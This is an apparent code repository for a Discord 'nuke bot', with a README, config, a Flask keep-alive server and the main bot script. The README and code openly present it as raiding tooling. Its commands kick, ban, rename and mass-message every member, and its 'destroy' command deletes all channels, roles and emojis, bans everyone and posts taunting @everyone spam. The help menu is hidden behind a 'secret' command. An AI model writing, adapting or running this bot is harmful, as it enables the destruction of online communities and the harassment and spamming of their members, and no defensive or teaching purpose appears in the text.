├── README.md ├── config.py ├── keep_alive.py └── main.py /README.md: -------------------------------------------------------------------------------- 1 | # Advanced-Discord-Nuke-Bot 2 | This is the best discord nuking bot ever made! 3 | 4 | # Commands: 5 | 6 | ## Kall 7 | Kicks every member in a server 8 | ## Ball 9 | Bans every member in a server 10 | ## Rall 11 | Renames every member in a server 12 | ## Mall 13 | Messages every member in a server 14 | ## Destroy 15 | Deleted channels, remakes new ones, deletes roles, bans members, and wipes emojis. In that order 16 | ## Ping 17 | Gives ping to client (expressed in MS) 18 | ## Info 19 | Gives information of a user 20 | 21 | # Discord Server: 22 | ## https://discord.gg/kE9vk9Zeuf 23 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | prefix = 'prefix' 2 | token = "bots token" 3 | -------------------------------------------------------------------------------- /keep_alive.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from threading import Thread 3 | 4 | app = Flask('') 5 | 6 | @app.route('/') 7 | def main(): 8 | return "Your bot is alive And Ready To Raid!! For More Awesome Shit Join Our Discord Server!: https://discord.gg/ZQdwGKMSDv" 9 | 10 | def run(): 11 | app.run(host="0.0.0.0", port=8080) 12 | 13 | def keep_alive(): 14 | server = Thread(target=run) 15 | server.start() 16 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #Made by Social404 2 | from config import prefix 3 | from config import token 4 | import keep_alive 5 | import discord 6 | from discord.ext import commands 7 | from discord.ext.commands import bot 8 | import asyncio 9 | import time 10 | import random 11 | import os 12 | intents = discord.Intents(messages=True, guilds=True, members=True) 13 | # Imports the needed libs. 14 | 15 | client = commands.Bot(command_prefix=prefix, intents=intents) 16 | # Sets prefix and intents 17 | 18 | client.remove_command("help") 19 | 20 | @client.event 21 | async def on_ready(): 22 | print ("Ah shit, here we go again") 23 | 24 | @client.event 25 | async def on_server_join(server): 26 | print("Joining {0}".format(server.name)) 27 | 28 | ####HELP COMMAND#### 29 | @client.command(pass_context=True) 30 | async def secret(ctx): 31 | await ctx.message.delete() 32 | member = ctx.message.author 33 | 34 | embed = discord.Embed( 35 | colour = discord.Colour.blue() 36 | ) 37 | 38 | embed.set_author(name='Secret') 39 | embed.add_field(name='Kall', value='Kicks every member in a server', inline=False) 40 | embed.add_field(name='Ball', value='Bans every member in a server', inline=False) 41 | embed.add_field(name='Rall', value='Renames every member in a server', inline=False) 42 | embed.add_field(name='Mall', value='Messages every member in a server', inline=False) 43 | embed.add_field(name='Destroy', value='Deleted channels, remakes new ones, deletes roles, bans members, and wipes emojis. In that order', inline=False) 44 | embed.add_field(name='Ping', value='Gives ping to client (expressed in MS)', inline=False) 45 | embed.add_field(name='Info', value='Gives information of a user', inline=False) 46 | await member.send(embed=embed) 47 | ############################# 48 | 49 | ####KALL COMMAND#### 50 | @client.command(pass_context=True) 51 | async def kall(ctx): 52 | await ctx.message.delete() 53 | guild = ctx.message.guild 54 | for member in list(client.get_all_members()): 55 | try: 56 | await guild.kick(member) 57 | print (f"{member.name} has been kicked") 58 | except: 59 | print (f"{member.name} has FAILED to be kicked") 60 | print ("Action completed: Kick all") 61 | ############################# 62 | 63 | ####BALL COMMAND#### 64 | @client.command(pass_context=True) 65 | async def ball(ctx): 66 | await ctx.message.delete() 67 | guild = ctx.message.guild 68 | for member in list(client.get_all_members()): 69 | try: 70 | await guild.ban(member) 71 | print ("User " + member.name + " has been banned") 72 | except: 73 | pass 74 | print ("Action completed: Ban all") 75 | ############################# 76 | 77 | ####RALL COMMAND#### 78 | @client.command(pass_context=True) 79 | 80 | async def rall(ctx, rename_to): 81 | await ctx.message.delete() 82 | for member in list(client.get_all_members()): 83 | try: 84 | await member.edit(nick=rename_to) 85 | print (f"{member.name} has been renamed to {rename_to}") 86 | except: 87 | print (f"{member.name} has NOT been renamed") 88 | print("Action completed: Rename all") 89 | ############################# 90 | 91 | ####MALL COMMAND#### 92 | @client.command(pass_context=True) 93 | async def mall(ctx): 94 | await ctx.message.delete() 95 | for member in list(client.get_all_members()): 96 | await asyncio.sleep(0) 97 | try: 98 | embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple()) 99 | embed.add_field( 100 | name="Discord Server", 101 | value= 102 | "[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)", 103 | inline=False) 104 | embed.add_field( 105 | name="Youtube Channel", 106 | value= 107 | "[ [ Click here ] ](https://www.youtube.com/channel/UCXk0klxbjcVgGvYyKWLgtLg)", 108 | inline=False) 109 | embed.add_field( 110 | name="GitHub", 111 | value= 112 | "[ [ Click here ] ](https://github.com/social404)", 113 | inline=False) 114 | embed.set_thumbnail(url="https://tenor.com/view/destory-eexplode-nuke-gif-6073338") 115 | embed.set_footer(text="Nuked By Social404's Bot! Sorry About Your Loss") 116 | await member.send(embed=embed) 117 | except: 118 | pass 119 | print("Action completed: Message all") 120 | ############################# 121 | 122 | ###DESTROY COMMAND#### 123 | @client.command(pass_context=True) 124 | async def destroy(ctx): 125 | await ctx.message.delete() 126 | for member in list(client.get_all_members()): 127 | await asyncio.sleep(0) 128 | try: 129 | embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple()) 130 | embed.add_field( 131 | name="Discord Server", 132 | value= 133 | "[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)", 134 | inline=False) 135 | embed.add_field( 136 | name="Youtube Channel", 137 | value= 138 | "[ [ Click here ] ](https://www.youtube.com/channel/UCXk0klxbjcVgGvYyKWLgtLg)", 139 | inline=False) 140 | embed.add_field( 141 | name="GitHub", 142 | value= 143 | "[ [ Click here ] ](https://github.com/social404)", 144 | inline=False) 145 | embed.set_thumbnail(url="https://tenor.com/view/destory-eexplode-nuke-gif-6073338") 146 | embed.set_footer(text="Nuked By Social404's Bot! Sorry About Your Loss") 147 | await member.send(embed=embed) 148 | except: 149 | pass 150 | print("Action completed: Message all") 151 | for channel in list(ctx.message.guild.channels): 152 | try: 153 | await channel.delete() 154 | print (channel.name + " has been deleted") 155 | except: 156 | pass 157 | guild = ctx.message.guild 158 | channel = await guild.create_text_channel("Nuked By Social's Bot! Check Dms") 159 | await channel.send(" @everyone GGGs Guys This Is Kinda Sad But It Is What It Is Am I Right?") 160 | await channel.send(embed=embed) 161 | for role in list(ctx.guild.roles): 162 | try: 163 | await role.delete() 164 | print (f"{role.name} has been deleted") 165 | except: 166 | pass 167 | for member in list(client.get_all_members()): 168 | try: 169 | await guild.ban(member) 170 | print ("User " + member.name + " has been banned") 171 | except: 172 | pass 173 | for emoji in list(ctx.guild.emojis): 174 | try: 175 | await emoji.delete() 176 | print (f"{emoji.name} has been deleted") 177 | except: 178 | pass 179 | print("Action completed: Nuclear Destruction") 180 | ############################# 181 | 182 | 183 | ####PING COMMAND#### 184 | @client.command(pass_context=True) 185 | async def ping(ctx): 186 | await ctx.message.delete() 187 | member = ctx.message.author 188 | channel = ctx.message.channel 189 | t1 = time.perf_counter() 190 | await channel.trigger_typing() 191 | t2 = time.perf_counter() 192 | embed=discord.Embed(title=None, description='Ping: {}'.format(round((t2-t1)*1000)), color=0x2874A6) 193 | await member.send(embed=embed) 194 | print("Action completed: Server ping") 195 | ############################# 196 | 197 | ####INFO COMMAND#### 198 | @client.command(pass_context=True) 199 | async def info(ctx, member: discord.Member=None): 200 | await ctx.message.delete() 201 | member = ctx.message.author 202 | channel = ctx.message.channel 203 | if member is None: 204 | pass 205 | else: 206 | await channel.send("**The user's name is: {}**".format(member.name) + "\n**The user's ID is: {}**".format(member.id) + "\n**The user's current status is: {}**".format(member.status) + "\n**The user's highest role is: {}**".format(member.top_role) + "\n**The user joined at: {}**".format(member.joined_at)) 207 | print("Action completed: User Info") 208 | ############################# 209 | 210 | 211 | keep_alive.keep_alive() 212 | 213 | 214 | client.run(token) 215 | # Place your Bot's token here 216 | --------------------------------------------------------------------------------